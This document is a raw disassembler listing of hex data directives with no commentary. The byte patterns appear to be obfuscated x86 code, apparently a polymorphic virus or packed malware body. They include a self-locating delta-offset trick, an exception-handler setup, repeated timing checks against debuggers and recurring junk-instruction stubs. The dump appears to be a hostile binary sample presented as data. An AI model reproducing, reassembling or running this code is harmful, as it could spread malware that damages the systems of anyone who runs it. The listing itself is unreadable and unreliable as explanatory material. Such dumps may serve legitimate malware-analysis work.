		dd 0C283F000h, 89958914h, 83061331h, 858D14EAh,	617368Fh
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0B98589C8h, 306130Bh, 0B70F3C40h, 95890650h,	6130B65h
		dd 8950508Bh, 132A9595h, 0F80506h, 508B0000h, 89D1030Ch
		dd 130B5D95h, 8500306h,	21259589h, 8F640613h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 1F95BD83h, 0F000613h, 2484h,	0E185C600h, 47061311h
		dd 9AA7D268h, 0E9B5FFD4h, 8D06131Eh, 167C3385h,	6AD0FF06h
		dd 89D0FF00h, 1316C185h, 60D38B06h, 28D99D89h, 0C08B0613h
		dd 0C8816660h, 81668EA2h, 615D1BF1h, 1625BD83h,	75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 38B8C08Bh, 89000004h
		dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h,	132C81BDh
		dd 17740006h, 38B85350h, 89000004h, 130D7D85h, 6C9D8D06h
		dd 0FF0615A6h, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7492C355h, 53006A73h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 8F10ED05h, 0C9DB116Dh, 0B533C08Bh, 6132965h,	799E8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 39610A95h, 0BA82F257h, 0F860DB74h, 1ECD9523h
		dd 66610613h, 5E50CF81h, 13D18589h, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CC6B5BC3h
		dd 3BE894F4h, 6A000007h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 6230C350h, 1A79134Ch
		dd 6602A887h, 16C8CF81h, 1A958589h, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BE876C3h
		dd 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 8D8B2DDAh,	61318B9h
		dd 6D4E85Eh, 0B5890000h, 6132F8Dh, 28318589h, 8B660613h
		dd 6C0E8F8h, 85890000h,	613005Dh, 0BE8h, 0B0024E00h, 0DE908DE8h
		dd 7395387Ch, 8E9h, 51537D00h, 0FC7718AAh, 97E85EF2h, 6A000006h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 9BC4C355h, 4782A1EAh, 9589EA3Bh, 61322ADh
		dd 302D8589h, 8B660613h, 660E8F7h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A86B17C3h
		dd 0AE99EC6h, 0ED000000h, 0B7D6D9D0h, 4BBF9962h, 0ED858924h
		dd 6A061331h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0BC5FC353h, 0EB1F2BB3h, 8F0F86h
		dd 0E8000000h, 5FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6CC35343h, 0A984C2BFh, 5D858921h, 6A061312h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 3358C353h, 132385BDh, 0FA8B6606h,	5ADE8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 5B07F1F8h, 0FE91A466h, 858986BFh, 6131B65h
		dd 38F0Fh, 0F5570000h, 574E85Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CC6565C3h
		dd 6D2F33AEh, 8589F8F5h, 6131139h, 0C2E5B966h, 541E8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0FC221182h, 4D958B60h, 0F061317h, 1386h
		dd 0DE800h, 85990000h, 0A455C344h, 3DB07DBEh, 5FD53569h
		dd 0D5858961h, 8906130Eh, 1312A19Dh, 4F0E806h, 0B9660000h
		dd 8D8B4346h, 6132A09h,	0B018589h, 66560613h, 5E9085B9h
		dd 10E8h, 154AB900h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch
		dd 0BFE85EA9h, 29000004h, 132A6D85h, 1858906h, 0F061321h
		dd 684h, 8D8D8B00h, 0E8061319h,	4A2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 22C35040h, 157D5512h, 4B272655h
		dd 0A185892Ch, 6A06132Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AD31C353h,	89CB702Ch
		dd 13178595h, 4BE8F806h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1425C351h
		dd 1CE6F556h, 0B9858905h, 0FC061320h, 41DE8h, 96C68100h
		dd 8966849Eh, 13230985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 4F050D5Eh, 8CE125F3h
		dd 1FE99D89h, 0E3E80613h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2B8DC357h
		dd 8960DAE1h, 132035B5h, 85896106h, 6132331h, 28799589h
		dd 0B00613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	4AC35040h, 0E5B4D440h, 0D2987D16h, 0FCA8B66h, 160D8B6h
		dd 132161B5h, 0DE806h, 801A0000h, 0E26D06EFh, 75820F36h
		dd 0FDD6899h, 8Dh, 0BA615F00h, 6, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 5EC35646h, 4760EE82h, 0E66AE729h
		dd 17419D89h, 0C38B0613h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0FEC35141h, 7564730Eh, 0A1B72BCBh, 8B04E8C1h
		dd 131125B5h, 0DAB96606h, 0E2F76645h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 76C35040h, 0DB4ADFBEh, 9DC5808h
		dd 0F98D0B89h, 2B061304h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7EF4AE47h
		dd 5A762F56h, 2800Fh, 0F88B0000h, 241C8950h, 0C69B501h
		dd 95FF0613h, 6132111h,	1375B58Bh, 6A5B0613h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0CF43C352h, 8D01487Fh, 613120Dh, 2FCD958Dh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 810D02C3h, 0E961BF4Fh, 14h, 0DDB5FFDBh, 0B8B469DAh
		dd 86AC9ACFh, 469DB802h, 0B439EC4Ah, 0BF0F1A89h, 1D8D8BC8h
		dd 8906131Eh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 70D628C3h, 60F08BB5h, 2890Fh, 5E500000h
		dd 1AF98529h, 8D610613h, 13109595h, 0C88B6606h,	12E9h
		dd 3D931A00h, 1D4049DAh, 57545B4Dh, 3EB178E7h, 89267091h
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D1B105A0h, 6A044289h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BC3FC355h
dword_5C005C	dd 354A913h, 131121B5h,	0CA8B6606h, 189D958Dh, 0BD290613h
					; DATA XREF: ___:off_443EACo
		dd 6132A45h, 8D891A89h,	6130F75h, 6A044289h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8D94C353h, 1329B195h, 19850106h, 0F8061319h,	6A1A89h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 8EDF22C3h, 0ACABA4B0h, 0FC044289h, 2D118589h, 958D0613h
		dd 61300BDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0BEC35343h, 5DBD8B62h, 89061322h, 51006A1Ah, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 42CF813Ch, 8947D4C2h, 0B58B0442h, 61319E9h, 19958Dh
		dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E68FC3C3h, 9F5B0E96h, 9E9h, 0E3CDAA00h
		dd 0B562FBF9h, 1A891F62h, 860F6050h, 0
		dd 42895E61h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0A2F7A24h, 0B1B58B13h, 8D061301h
		dd 131A6195h, 89C88A06h, 21B58B1Ah, 89061320h, 85890442h
		dd 6130E05h, 12E9h, 62F2600h, 6CF6FBADh, 72B8617Bh, 85CDEC3Eh
		dd 8D0D8A70h, 13249995h, 661A8906h, 4289CA8Bh, 8166FC04h
		dd 0E95B56F7h, 0ACh, 1DA5B58Bh,	6A0613h, 2B99B589h, 6A0613h
		dd 72B7B966h, 0B529006Ah, 6131D85h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 8DFC28C3h
		dd 0CF63F17Ch, 0F592F1Fh, 386h,	0FB8B6600h, 128995FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 8C07CCC3h, 950FDFA9h, 1FE9B58Bh, 6AC30613h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 5EC8C352h, 94DB3696h, 95BB760h, 1306299Dh
		dd 85896106h, 6130DD9h,	6AC58Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 4AAA9BC3h, 5D2F2338h
		dd 960824Bh, 130B998Dh,	0EA816606h, 8B616F3Ch, 0B27FB9C0h
		dd 0BD831541h, 6131625h, 83097500h, 132C81BDh, 19740006h
		dd 0C08B5350h, 438B8h, 15858900h, 8D061331h, 15A9E49Dh
		dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 438B8h, 15858900h
		dd 8D061331h, 15A6859Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 1FD8B817h
		dd 0A01546BEh, 81664C0Fh, 8B348BF7h, 133259B5h,	8DC08B06h
		dd 131EA985h, 6FD78006h, 0DA8B6690h, 66DABF50h,	6A906B2Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 6C5CC350h, 37FF4D79h, 0FE1A8674h,	6ADE8Bh
		dd 38E0Fh, 0BF0F0000h, 6A006AF9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E205C356h
		dd 8D50911Eh, 17425085h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 8DF97D91h, 0C0837E17h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 56BF50B1h, 893DA10Eh, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0B334EBC3h
		dd 64AF9D83h, 0BFE9DBF1h, 274AB876h, 16C5BD8Bh,	6A0613h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h
		dd 182DEF8Dh, 6A9C30h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0A3C35141h, 95FF0D83h, 61307F1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 8DBFCB99h
		dd 3139E38Dh, 6A8D8D5Ch, 6A0616A3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7E1C350h
		dd 6330858Dh, 0FF1F57BCh, 0BD83FCD1h, 613173Dh,	47850F01h
		dd 8B000000h, 133029BDh, 6AFAB706h, 6050F902h, 66DA8B66h
		dd 8961F88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 987E5EC3h, 9986951Dh, 0A8DBD03h
		dd 95FF0613h, 6131E95h,	0E7E9AAB3h, 0E800000Dh,	0
		dd 5AED815Dh, 6A061742h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0F98CC356h,	0EE2D55Eh
		dd 0BD0BDE2Fh, 613282Dh, 5E9h, 0CCA95B00h, 0BD8B51B2h
		dd 61305F1h, 8F5E858Dh,	3BBF0616h, 50008FC9h, 0AE9h, 38A10000h
		dd 4645F240h, 89263AA2h, 81662404h, 64FE29F7h, 35FFh, 9D8B0000h
		dd 61301E5h, 258964h, 0F000000h, 687h, 39B52900h, 0FF061324h
		dd 1316D985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 2C1184EAh, 81D6E574h, 1F1891E7h
		dd 0FF6AFC24h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	42C35545h, 6CEA4C2Bh, 9531580Fh, 6130C19h, 13D1B5FFh
		dd 0BB660613h, 95FF1B99h, 61331ADh, 118E9h, 85BD2900h
		dd 0B0061323h, 0E65F5200h, 12E970h, 5D1F0000h, 0DCCB883Bh
		dd 441D41B2h, 0B5526A9Bh, 0F054A652h, 13E971E4h, 86000000h
		dd 0A8CCFFDCh, 0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh, 3CFCDCE1h
		dd 0D2830F61h, 60000000h, 5E9h,	15836B00h, 8589A87Bh, 6133511h
		dd 0C8B60F61h, 6BAD88Ah, 8B000000h, 0E19D8BC1h,	0C1061323h
		dd 9D8904E8h, 61301F5h,	89E2F766h, 131411BDh, 23C82B06h
		dd 131FF5BDh, 0BD18B06h, 130961BDh, 6E906h, 0B5290000h
		dd 6131425h, 2FCD858Bh,	8D890613h, 6132255h, 6607C083h
		dd 83B226BFh, 0BD8B00C0h, 61331E5h, 830FD03Bh, 10h, 0CB5CDCBBh
		dd 53E961h, 0BD090000h,	613233Dh, 16A18D8Bh, 8E90613h
		dd 0D4000000h, 57B0D7A9h, 832F54B3h, 840F01E1h,	31h, 0EE9h
		dd 3876DD00h, 3D2C08FFh, 0A296E20Dh, 83ACBC2Ah,	1316A1A5h
		dd 0BD89FE06h, 6131EC1h, 2FCD9589h, 890F0613h, 0
		dd 0E9h, 8BB58D00h, 660616DBh, 6AF88Bh,	1AED9D8Bh, 81660613h
		dd 0FFC8D4D7h, 130DA995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 9BA1F543h
		dd 11A84CD1h, 8DB33E08h, 889B9h, 0E1952900h, 83061318h
		dd 9D23FCE1h, 613063Dh,	6660FCF9h, 8B66D98Bh, 0B861FEh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1C0CC356h, 599D8B6Bh, 2B06132Ch
		dd 51006AD2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 6E2F1E38h, 14F5BD8Bh, 33AD0613h,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 1AC69CC3h, 5FC61BBEh, 0BD33EE74h
		dd 6131A01h, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0E0A6E69Fh, 958BD98Bh
		dd 6131BBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	78C35242h, 2D63EF23h, 0DD8D8B04h, 6A061318h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6B4AC350h, 8C3FA23Dh, 8B66B741h, 959D8BFBh, 50061325h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 315716BFh, 13198585h, 0F7816606h, 0BD836813h, 6131D1Dh
		dd 7D840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6670C357h, 0B70FF98Bh
		dd 0B8D8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8983E5C3h, 132A358Dh, 8D8D8D06h
		dd 8A06134Fh, 6AE1FFDEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0CD6EC350h,	0D11143DFh
		dd 0D781206Ah, 647F8FFCh, 3055BD83h, 0F000613h,	3BA84h
		dd 7CEF8000h, 3055BD83h, 0F010613h, 3C584h, 83FA8B00h
		dd 133055BDh, 860F0306h, 380h, 1B318589h, 0E9600613h, 12h
		dd 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h,	9589B124h
		dd 6133075h, 51D98C66h,	1BCDBD8Bh, 665F0613h, 44F8CF81h
		dd 904E180h, 131FD19Dh,	0FC90A06h, 0E684h, 0BE666000h
		dd 0BD898BE8h, 6132C75h, 0B9858B61h, 6A06132Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0A317C353h, 396DE772h, 0A195894Bh, 33061308h, 1305B985h
		dd 0F8BF0F06h, 91B75350h, 2404895Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 4AC35040h, 2BE5D049h, 131AF99Dh
		dd 0E9006A06h, 0Fh, 871D517h, 408FCD9Eh, 3E03A5A3h, 68E9EAF3h
		dd 9ACD55C4h, 81FE8B66h, 0AE3B2404h, 800F6551h,	6, 159589h
		dd 95FF0613h, 6130A3Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 22C35141h, 94F822B5h,	0FC8C4CF5h, 23799D2Bh
		dd 85890613h, 616C454h,	2B008CBFh, 1EBE96Ah, 0D88B0000h
		dd 8BF9C380h, 16C44C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 9F26BD7Dh, 0FAEE3C0Dh
		dd 14E9BAA0h, 6B000000h, 6A58D680h, 33C63771h, 0FC164247h
		dd 0EEEA863h, 0E91870E3h, 5, 0EF8CCD1Dh, 1800C792h, 0F000000h
		dd 28Ah, 8BD98B00h, 16C450B5h, 51006A06h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8BCA62Ah, 85BD8B63h
		dd 8B061330h, 132A5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD0B2D1Bh, 6131CC9h
		dd 0AE80689h, 4F000000h, 0F83AB423h, 98767DFCh,	3840FA5h
		dd 80000000h, 665FA5DBh, 0C961EF81h, 2BB9858Bh,	0BD8B0613h
		dd 6131FB1h, 6A044689h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9317C357h, 8119BEA8h
		dd 9D6306CFh, 7EB39658h, 6A9650h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0CC9714C3h, 85374640h
		dd 6C99D0Bh, 0B5FF0613h, 616C44Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0F7C35545h,	50AA59DEh, 0E439BC6Dh
		dd 0AE8F585h, 4E000000h, 0CCC2327h, 0C4FC91B2h,	5F5B56CAh
		dd 144A8C68h, 0AE87Ah, 603B0000h, 0C5C3B4CAh, 5A14893Fh
		dd 8E9h, 0F87DB600h, 2E9A4179h,	34815F62h, 0B497324h, 54858D7Ah
		dd 890616C4h, 1313AD85h, 0D19D8B06h, 90061325h,	0D98B5250h
		dd 5250310Fh, 8B66310Fh, 5A585AD9h, 60605058h, 310F5250h
		dd 5250585Ah, 585A310Fh, 61605361h, 8B906159h, 130BAD9Dh
		dd 3D95FF06h, 8B06130Ah, 1305359Dh, 6A6106h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 562865C3h
		dd 1F359D89h, 0C75B0613h, 13305585h, 306h, 0F5B58900h
		dd 8306131Dh, 16C454BDh, 840F0006h, 2Ch, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 3BC35747h, 5E9h
		dd 0CCF69B00h, 1CE9C411h, 0FC000000h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 6990C356h, 895F7102h, 8B8D6074h, 59D8BFAh, 6A061317h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 76E3C350h, 0F94CB1F6h, 3055BD83h,	0F030613h
		dd 50C85h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 9412FB49h, 8B6646A7h, 959529F8h
		dd 83061305h, 16C454BDh, 840F0006h, 4D5h, 10E9h, 360A3800h
		dd 0F761A067h, 8BE18A6Ch, 0AC95237Eh, 54B5FF0Bh, 6A0616C4h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 6F88C353h, 0B3565981h, 8D295F18h,	6130919h
		dd 96995FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 6A7C10C3h, 0D8ADA52Dh, 1C099D8Bh
		dd 85090613h, 6130A01h,	0C448B58Bh, 6A0616h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CDA2CBC3h
		dd 9A6D4E6Bh, 8E0FB9C2h, 6, 1B1DBD89h, 6C70613h, 10001h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 81C35646h
		dd 0D18589B7h, 96061325h, 50D88B66h, 51006A96h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7A66F9C4h
		dd 9379BA39h, 0E6CABB66h, 0B5FF6DB3h, 616C454h,	3CEEBB66h
		dd 322995FFh, 89560613h, 13151985h, 0B58B5F06h,	616C448h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C1C35141h
		dd 5D859856h, 0C1E0AF59h, 1E819589h, 858B0613h,	6130631h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 42C35242h
		dd 0CB81D2FFh, 4EA2497Eh, 8689DA8Bh, 0C4h, 8BF8BF0Fh, 131BBD95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BCB06F5h, 133489BDh, 4C28306h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 24C35545h, 0C427192Ch
		dd 8E0F7C97h, 6, 5FBB6651h, 50895BD9h, 52006A20h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 35BD2B2Eh, 8D061309h, 16D8E385h, 0EDBD2306h,	81061322h
		dd 0EF6FDFEFh, 0B8868946h, 6A000000h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AB32C356h
		dd 0FCC85E22h, 1D199D8Bh, 6A0613h, 0D19EEF81h, 0B5FF425Eh
		dd 616C454h, 0FFDF8B66h, 131E9595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5D1E76BBh
		dd 0CE8060A4h, 0E585890Eh, 61061320h, 12880F96h, 0E8000000h
		dd 6, 9C24848Fh, 5250A9F2h, 585A310Fh, 0BF66505Fh, 6A964B4Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1C4BC350h, 0FDA8B66h, 198Ah, 14E900h, 756E0000h
		dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh
		dd 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0CFC35646h, 0FAEF8166h,	4595FF70h, 6A061321h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9323C356h, 28002694h, 13E9B3h, 0C87C0000h, 6CBF646Dh
		dd 0D6647E92h, 97541B94h, 7F298F0Ch, 95BD8322h,	61314h
		dd 47840Fh, 0BD8B0000h,	6132201h, 57525096h, 70A8BB66h
		dd 5A310F5Fh, 6A965058h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6ECCC351h, 101E5394h
		dd 2923B216h, 8E9h, 4949B500h, 1D8EE255h, 54B5FF7Bh, 6A0616C4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3A3BC352h, 553C4225h, 5E972C7h, 0E2000000h
		dd 0FE84194Bh, 5AD95FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0FABCD8C3h, 0ADBD8B46h
		dd 0FF061311h, 16C454B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 1D4EDB00h
		dd 0EE3279BBh, 860F10D0h, 6, 11E58531h,	95FF0613h, 6131209h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h
		dd 1DD9D0Bh, 0BD830613h, 6130511h, 44840F02h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 56E3C350h, 8D9FBB7Ah, 8F0F1CB4h, 6, 15018509h
		dd 858B0613h, 6130F55h,	0DA66CB81h, 0C65BE2h, 41BD8B00h
		dd 0C7061321h, 131E5185h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66B679h
		dd 0F314E9DAh, 8589FFFFh, 6130F01h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5BB830C3h
		dd 24273911h, 0FE84C11h, 41000000h, 0A0D377F5h,	7E39C65Dh
		dd 6EC042C1h, 8B66A000h, 858D5BDEh, 6131EA9h, 66902EB3h
		dd 501CDEBBh, 5820F52h,	0BF000000h, 18F06F17h, 6A905Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6E3C8DC3h, 8166F88Bh, 6ABD33C3h, 0A5BF6600h,	66006A7Fh
		dd 858DFE8Bh, 6175239h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0D1C35646h, 0A6A1E670h, 2EFE1E39h, 85BD8B3Eh
		dd 8306130Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 2DDADC3h, 0B1DC605Dh, 8E9h, 0B5427400h
		dd 0E4BF2C42h, 48950F3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 46A6A4FDh, 6A006A4Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A782C355h, 6A6814h, 8ABCBB66h, 87C78166h
		dd 0F195FF19h, 6A061307h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9D41C352h, 9E127515h
		dd 8B718157h, 1324859Dh, 6A8D8D06h, 6A0616A3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0E2F2C352h, 60A34D55h, 0D1FF2BE2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 56C35141h, 0CEC78144h, 83450363h
		dd 13173DBDh, 850F0106h, 73h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 87C35343h, 0A03CBF34h, 26A7D6Ch
		dd 5BF98B53h, 66525050h, 0F25E9BFh, 0DF8B6631h,	489585Ah
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0BD1E565Fh, 898A12C9h, 131A0D85h, 33E38106h
		dd 606EDD37h, 61F7B70Fh, 1E9595FFh, 0E9FC0613h,	0D6Eh
		dd 0E8h, 0ED815D00h, 6175243h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 7CC35141h, 8DBD8B6Fh, 6A06132Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
